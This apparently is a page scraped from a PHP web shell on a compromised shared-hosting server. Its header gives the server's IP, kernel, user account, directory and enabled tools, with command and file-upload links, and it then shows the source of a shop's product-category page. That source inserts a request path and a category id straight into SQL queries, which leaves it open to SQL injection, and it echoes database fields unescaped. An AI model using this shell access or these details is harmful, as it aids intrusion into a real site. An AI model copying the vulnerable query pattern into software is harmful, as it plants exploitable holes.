Server IP : 103.53.40.154 / Your IP : 3.129.216.15 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/deergham.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); $slug_name = $_GET['slug_url']; if(isset($_SERVER['PATH_INFO'])){ $slug_name=$_SERVER['PATH_INFO']; $querydt="SELECT * FROM `tbl_main_cat` WHERE `slug`='$slug_name'"; $rundt = mysqli_query($db,$querydt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); } ?> <!DOCTYPE html> <html lang=en> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <?php include "top-links.php" ?> <title><?php echo $datadt["meta_title"];?></title> <meta name="description" content="<?php echo $datadt["meta_desc"];?>"> </head> <body> <?php include "header.php" ?> <main> <header class="page" style="padding-top:;"> <div class="page_main container-fluid"> <div class="container"> <h1 class="page_header"><?php echo $datadt['cat_name'];?></h1> <!--<p class="page_text">Nibh tellus molestie nunc non blandit. Mi tempus imperdiet nulla malesuada--> <!-- pellentesque elit</p>--> </div> </div> <div class="container"> <ul class="page_breadcrumbs d-flex flex-wrap"> <li class="page_breadcrumbs-item"><a class="link" href="<?php echo $wspath?>">Home</a></li> <li class="page_breadcrumbs-item current"><span><?php echo $datadt['cat_name'];?></span></li> </ul> </div> </header> <section class="featured section--nopb"> <div class=container> <!--<div class=featured_header>--> <!-- <h2 class=featured_header-title>Featured Products</h2>--> <!-- <p class=featured_header-text>Discover nature's best: honey, coconut oil, cow ghee.</p>--> <!--</div>--> <div class="products_list d-grid"> <?php $catid=$datadt['c_id']; $sqltour = "SELECT * FROM tbl_services WHERE m_id=$catid AND tour_status='Active' ORDER BY `tour_order` ASC"; $runtour = mysqli_query($db,$sqltour) or die("Query Not run"); while($datatour = mysqli_fetch_assoc($runtour)){ ?> <div class=products_list-item> <div class="products_list-item_wrapper d-flex flex-column"> <div class="media"> <a href="<?php echo $wspath?>detail<?php echo $datatour['slug_url'];?>.html" rel="noopener norefferer"> <img src="<?php echo $wspath?>admin/images/property-image/<?php echo $datatour['image'];?>" alt="<?php echo $datatour['name'];?>"> </a> <div class="overlay d-flex justify-content-between align-items-start"> <?php session_start(); if(isset($_SESSION['user'])) { $user_id = $_SESSION['user']['cus_id']; $pro_id = $data_ser['id']; echo '<form action="add-product-queries.php" method="POST"> <div class="action d-flex flex-column"> <input type="hidden" name="user_id" value="'.$user_id.'"> <input type="hidden" name="product_id" value="'.$pro_id.'"> <button type="submit" name="submit_wish" class="action_link d-flex align-items-center justify-content-center" data-role="wishlist"><i class="icon-heart"></i></button></div> </form>'; }else{ echo '<div class="action d-flex flex-column"> <a class="action_link d-flex align-items-center justify-content-center" href="'.$wspath.'login.php" data-role="wishlist"><i class="icon-heart"></i></a></div>'; } ?> </div> </div> <div class="main d-flex flex-column align-items-center justify-content-between"> <!--<a class="main_title" href="<?php echo $wspath?>detail<?php echo $datatour['slug_url'];?>.html" rel="noopener norefferer"><?php echo $datatour['name'];?></a>--> <div class="main d-flex flex-column align-items-center justify-content-between"> <div class="main_price d-flex flex-column justify-content-center align-items-center" > <a class="main_title" href="<?php echo $wspath?>detail<?php echo $datatour['slug_url'];?>.html" rel="noopener norefferer"><?= $datatour["name"] ?></a> <div class="main_price"> <span class="price price--old">₹<?php echo $datatour['price'];?></span> <span class="price">₹<?php echo $datatour['mrp'];?></span> </div> </div> </div> <div class="main d-flex align-items-center justify-content-center"> <form action="<?php echo $wspath?>add-cart.php" method="POST" style="margin-right:10px;"> <!--<a class="btn btn--green"href="">Add to Cart</a>--> <input name="sr_no" value="<?php echo $datatour['id'];?>" hidden> <input name="name" value="<?php echo $datatour['name'];?>" hidden> <input name="price" value="<?php echo $datatour['mrp'];?>" hidden> <input name="image" value="<?php echo $datatour['image'];?>" hidden> <input name="quantity" value="1" hidden> <button class="btn btn--green" name="add_product" type="submit">Add to Cart</button> </form> <form action="<?php echo $wspath?>add-cart.php" method="POST"> <!--<a class="btn btn--green"href="">Add to Cart</a>--> <input name="sr_no" value="<?php echo $datatour['id'];?>" hidden> <input name="name" value="<?php echo $datatour['name'];?>" hidden> <input name="price" value="<?php echo $datatour['mrp'];?>" hidden> <input name="image" value="<?php echo $datatour['image'];?>" hidden> <input name="quantity" value="1" hidden> <button class="btn btn--green" name="checkout_product" type="submit">Buy Now</button> </form> </div> </div> </div> </div> <?php } ?> <!--<ul class="pagination d-flex align-items-center">--> <!-- <li class=pagination-page><a--> <!-- class="pagination-page_link d-flex align-items-center justify-content-center" href=#--> <!-- data-current=true>1</a></li>--> <!-- <li class=pagination-page><a--> <!-- class="pagination-page_link d-flex align-items-center justify-content-center"--> <!-- href=#>2</a></li>--> <!-- <li class=pagination-page><a--> <!-- class="pagination-page_link d-flex align-items-center justify-content-center"--> <!-- href=#>3</a></li>--> <!--</ul>--> <!--<a class="featured_btn btn" href="product-category.php">All Products</a>--> </div> </section> </main> <?php include "footer.php" ?> </body> </html>